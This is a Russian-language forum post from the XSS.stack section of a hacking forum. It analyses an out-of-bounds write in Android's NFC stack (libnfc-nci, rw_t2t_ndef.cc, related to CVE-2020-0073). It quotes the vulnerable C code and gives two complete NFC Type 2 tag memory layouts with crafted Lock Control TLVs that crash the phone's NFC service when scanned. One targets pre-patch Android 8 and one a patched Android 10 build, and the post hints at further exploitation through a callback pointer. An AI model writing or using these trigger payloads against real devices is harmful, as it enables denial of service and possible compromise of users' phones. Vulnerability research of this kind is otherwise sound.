• XSS.stack #1 – первый литературный журнал от юзеров форума

Простой триггер OOB в libnfc-nci (rw_t2t_ndef.cc)

NyanKo

floppy-диск
Пользователь
Регистрация
23.07.2020
Сообщения
6
Реакции
1
Введение (кому оно вообще нужно)

О технологии NFC уже слышала даже моя бабушка: бэйджи работников офисов и проездные, телефоны, терминалы оплаты и банкоматы умееют в NFC. Кто-то платит "телефоном" в магазине, а кто-то использует метки для доступа в интернеты одним касанием. Тем не менее, на всякий случай оставлю это здесь:

NFC (near field communication) -- это технология передачи данных посредством радиочастотного поля малого радиуса действия [или не такого уж и малого: google NFCDrip :) ]
Рабочая частота NFC: 13.56MHz +/- 7MHz, так же как и у RFID HF.
Технология совместима с устройствами соответствующими стандартам ISO 15693, ISO 14443, FeliCa.

Основной перк NFC чипов - режим P2P, возможность переключаться между активным (режимом считывателя/записывателя) и пассивным режимом
(режимом тега/карточки) без необходимости повторной инициации соединения. Кроме того NFC устройства должны поддерживать режим ридера
и режим эмуляции карты/тега HCE (Host Card Emulation).


Для любителей технических деталей и стандартов:
Стандарт NFCIP-1(ISO 18092/ECMA 340) описывает взаимодействие двух NFC устройств: модуляция сигнала, генерация поля, кодирование, инициализация итд определяет
пассивынй и активный режимы коммуникации. RF-часть этого стандарта базируется на более раннем RFID стардарте ISO14443A.
NFCIP-2 (ISO21481/ECMA35) - стандартизирует как устйроство должно выбирать соответствующий connection handler, описывает как и при каких условиях ридер или активное устройство (NFCIP-1 инициатор) может включать свое RF-поле.


Теория
(скипать не рекомендую, тут может быть кое-что интересное)

Уязвимый [code path?] кроется в rw_t2t_ndef.cc. Как сказано в хэдере:
"This file contains the implementation for Type 2 tag NDEF operation in Reader/Writer mode."
"В этом файле содержитися имплементация NDEF для тегов Type2 в режиме Считывателя/Записывателя."

Уязвимость связана с операциями чтения/записи тегов второго типа (так же упомянается некий формат NDEF (NFC Data Exchange Format), но для простейшего триггера достаточно иметь представление о мемори-лэйауте этих самых Type2 тегов).

Очевидно, существует несколько типов тегов. А если точнее, то их аж целых 4:

Type 1: Теги данного типа базируются на стандарте ISO14443A. Могут быть как read-only, так и перезаписываемыми. Объем доступной пользоватлю памяти 96 байт (+16 байт на manufacturer ID и прочую служебную инфу): можно хоть URL записать, хоть небольшой файлик. Максимальный объем памяти на таком теге 2kb. Скорость передачи данных - 106 kbit/s. TOPAZ - типичный представитель Type 1 тегов.

Type2: Так же основан на стандарте ISO14443A. RO/RW, а вот базовый объем памяти всего 48байт (как например, Mifare UL), что не мешает производителям выпускать теги и с большим объемом памяти: например, NTAG216 предоставляет 924 байта, а максимальный объем может достигать 2kb. Скорость передачи данных так же как и для тега первого типа 106 kbit/s.

Type3: Базируется на Sony FeliCa, объем памяти 2kb работает на 212 kbit/s.

Tag 4 Type: Совместим с ISO14443A и ISO14443B standards. Обычно эти теги преконфигурированы в момент проихводства и могут быть либо RW либо RO. Обхем паямти до 32KB, а скорость передачи от 106 до 424 kbit/s

Наш подопытный - Type2 тег. Как было упомянуто ранее, чтобы стриггерить OOB нам нужно иметь представление о мемори лэйауте тега.
Лэйаут бывает статическим и динамическим, тип определяется объемом памяти: если у вас тег поддерживает больше 64Кб -- вы счастливый обладатель тега с динамической памятью.

Byte# | 0 | 1 | 2 | 3 | Block# |
----------+-----------+-----------+-----------+-----------+----------+
UID/Intern| intern0 | intern1 | intern2 | intern3 | 0/0x00 |
---------------------------------------------------------------------+
SerialNum | intern4 | intern5 | intern6 | intern7 | 1/0x01 |
---------------------------------------------------------------------+
Intrn/Lock| intern8 | intern9 | Lock0=0h | Lock1=0h | 2/0x02 |
---------------------------------------------------------------------+
CapContain| CC0=E1h | CC1=10h | CC2=6Dh | CC3=00h | 3/0x03 |
---------------------------------------------------------------------+
Data | ... | ... | ... | ... | 4/0x04 |
---------------------------------------------------------------------+
Data | ... | ... | ... | ... | n/0x0n |
---------------------------------------------------------------------+
Lock/Res | ... | ... | ... | ... | ./0x0. |
---------------------------------------------------------------------+
Lock/Res | ... | ... | ... | ... | k |
----------------------------------------------------------------------


Теперь, когда прояснилось с чем мы имеем дело, можно перейти непосредственно к анализу уязвимости.


Анализ уязвимости
В этом коде присутствует как минимум 2 уязвимости (вторая тоже связана со злосчастными лок-байтами хехе), но сегодня мы разберем только одну из них, которая оказалась недостаточно запатченной (google CVE-2020-0073) и тригер будет действительным для состояния ДО патча (тестировала на S9, Android 8.0.0 в марте прошлого года). А про новый вариант уже рассказали :)

Интересующий нас участок кода расположен в функции rw_t2t_handle_tlv_detect_rsp, в которой детектятся разнообразные TLV (Lock TLV, Memory TLV, NDEF TLV) и заполняются соотвествтующие поля структуры tRW_T2T_CB.

TLV (tag length value) - формат представления данных, в котором первый байт (tag) представляет тип данных, поле length может быть однобайтовым или трех-байтовым и содержит длину поля value, а само value - это и есть наши данные (url или просто текст, или еще какая ерунда).

В случае с Lock_Control_TLV значение поля tag всегда будет равно 01h, в поле length всегда будет значение 03h, а поле value состоящее из трех байт представляется следующим образом:
[0] Position - в каком месте на теге находится залоченная (ридонли) зона. Старшие 4 бита(0h-0Fh) - количество страниц, младшие (0h-0Fh) - смещение в байтах.
[1] SIZE - представляет количество битов в залоченной зоне. Интересный факт, возможные значения этого поля 01h=1 до 00h=256. Если число динамических лок-битов не кратно 8, они будут храниться в динамических лок байтах таким образом, что незаполненная часть лок-байта зануляется.
[2] PageCtrl - старшие 4 бита - количество байт, которые один лок-бит может лочить, 01h =1..0Fh = 15, 00h RFU.
младшие 4 бита - количество байт на страницу выражается как 2^байт_на_страницу, может иметь значения от 0h-0Fh, где 0 зарезервирован и не используется (RFU)

Если количество лок-битов не кратно 8, то они будут храниться в блоке динамических байтов, находящихся непосредственно после блока данных.

C:
/* Collect Lock TLV */
                p_t2t->tlv_value[2 - p_t2t->bytes_count] = p_data[offset];
                if (p_t2t->bytes_count == 0)
                    {
                        /* Lock TLV is collected and buffered in tlv_value, now decode it */
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset   = (p_t2t->tlv_value[0] >> 4) & 0x0F;
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset  *= (UINT8) tags_pow (2, p_t2t->tlv_value[2] & 0x0F);
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset  += p_t2t->tlv_value[0] & 0x0F;
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].bytes_locked_per_bit = (UINT8) tags_pow (2, ((p_t2t->tlv_value[2] & 0xF0) >> 4));
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].num_bits = p_t2t->tlv_value[1];
count = p_t2t->tlv_value[1] / 8 +
                        ((p_t2t->tlv_value[1] % 8 != 0) ? 1 : 0);
                /* Extract lockbytes info addressed by this Lock TLV */
                xx = 0;
                while (xx < count) {
                  p_t2t->lockbyte[p_t2t->num_lockbytes].tlv_index =
                      p_t2t->num_lock_tlvs;
                  p_t2t->lockbyte[p_t2t->num_lockbytes].byte_index = xx;
                  p_t2t->lockbyte[p_t2t->num_lockbytes].b_lock_read = false;
                  xx++;
                  p_t2t->num_lockbytes++;
                }
                p_t2t->num_lock_tlvs++;

p_t2t->tlv_value[1] - полностью контроллируемые данные. В цикле xx и p_t2t->num_lockbytes увеличивается count раз. В итоге, мы получаем OOB, передав определенное значение поля size или же создав вложенные TLV для типа LOCK_CONTROL_TLV с нужным значением в поле size.

Структура p_t2t объявлена как tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t
Если поискать в коде rw_cb, то например в rw_t2t_ntf_tlv_detect_complete найдем вот такую штуку: (*rw_cb.p_cback)(RW_T2T_NDEF_DETECT_EVT, &rw_data);
так что, есть шанс на успешную эксплуатацию :)

В rw_int.h находим tRW_T2T_CB и rw_cb.tcb

C:
/* RW memory control blocks */
typedef union {
  tRW_T1T_CB t1t;
  tRW_T2T_CB t2t;
  tRW_T3T_CB t3t;
  tRW_T4T_CB t4t;
  tRW_I93_CB i93;
  tRW_MFC_CB mfc;
} tRW_TCB;
/* RW control blocks */
typedef struct {
  tRW_TCB tcb;
  tRW_CBACK* p_cback;
  uint32_t cur_retry; /* Retry count for the current operation */
#if (RW_STATS_INCLUDED == TRUE)
  tRW_STATS stats;
#endif /* RW_STATS_INCLUDED */
} tRW_CB;
/*****************************************************************************
**  EXTERNAL FUNCTION DECLARATIONS
*****************************************************************************/
/* Global NFC data */
extern tRW_CB rw_cb;


Практика
Для тестов можно использовать как физический тег, так и другое устройство способное сэмулировать пассивный тег/отвечать на запросы. Проксмарк отлично подходит для этой задачи)) Но мне захотелось чего-то экзотического и выбор пал на пачечку тегов NTAG216, потому что они дешевые, у них большой ресурс памяти и их можно приклеить куда хочешь.

Как уже известно, память тега делится на блоки, по 4 байта каждый. Байты 2-3 второго блока - это статические LOCK байты, их оставим пустыми. Интересное начинается с блока 4, где описывается LOCK_CONTROL_TLV (его можно узнать по байтам 01 03). Остается тольлко записать тег и отсканить его телефоном со включенным NFC :) Визуально ничего не изменится, но появится парочка tombstones и сервис nfc будет перезапущен с новым PID.

В дополнение к Lock_Control_TLV тут еще присутствует NDEF :) В патче задефайнили RW_T2T_MAX_LOCK_BYTES рывное 0x1E, чтобы ограничить максимально возможное значение счетчика count. Но, как недавно выяснили ресерчеры, это не сильно мешает,так как респонсы при детекте TLV можно отправлять несколько раз (хотя, количество самих LOCK TLV ограничено: RW_T2T_MAX_LOCK_TLVS 0x05 )

Вот лэйаут тега (тут нет части инфы о теге,так что для эмуляции тега проксмарком стоит добавить версию и подписи, которые есть у настоящих тегов перед блоком 0)

Block# | Data |
---------+-------------+
0/0x00 | 04 34 83 3B |
1/0x01 | B2 F3 59 81 |
2/0x02 | 99 48 00 00 |
3/0x03 | E1 10 6D 00 |
4/0x04 | 01 03 e0 ff |
5/0x05 | 66 01 03 e0 |
6/0x06 | ff ff 03 11 |
7/0x07 | d1 01 0d 55 |
8/0x08 | 01 77 61 73 |
9/0x09 | 6d 2e 72 75 |
10/0x0A | 00 fe 00 00 |
...........
238/0x | 00 00 00 bd |
239/0x | 04 00 00 ff |
240/0x | 00 05 00 00 |
241/0x | 00 00 00 00 |
242/0x | 00 00 00 00 |


Если ваш тестовый девайс обновлен до Android 10.0.0_r16, то можно поэксперементировать с TLV:

Block# | Data |
---------+-------------+
0/0x00 | 04 34 83 3B |
1/0x01 | B2 F3 59 81 |
2/0x02 | 99 48 00 00 |
3/0x03 | E1 10 6D 00 |
4/0x04 | 01 03 00 f6 |
5/0x05 | 00 00 00 00 |
6/0x06 | 00 00 0a 00 |
7/0x07 | 00 00 01 03 |
8/0x08 | 00 f6 00 00 |
9/0x09 | 00 00 00 00 |
10/0x0A | 0a 00 00 00 |
11/0x0B | 01 03 00 f6 |
12/0x0C | 00 00 00 00 |
13/0x0D | 00 00 0a 00 |
14/0x0E | 00 00 01 03 |
15/0x0F | 00 f6 00 00 |
...
xx/0x0x | 03 11 d1 01 |
x1/0x0x1| 0d 55 01 77 |
x2/0x0x2| 61 73 6d 2e |
...





Литература:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх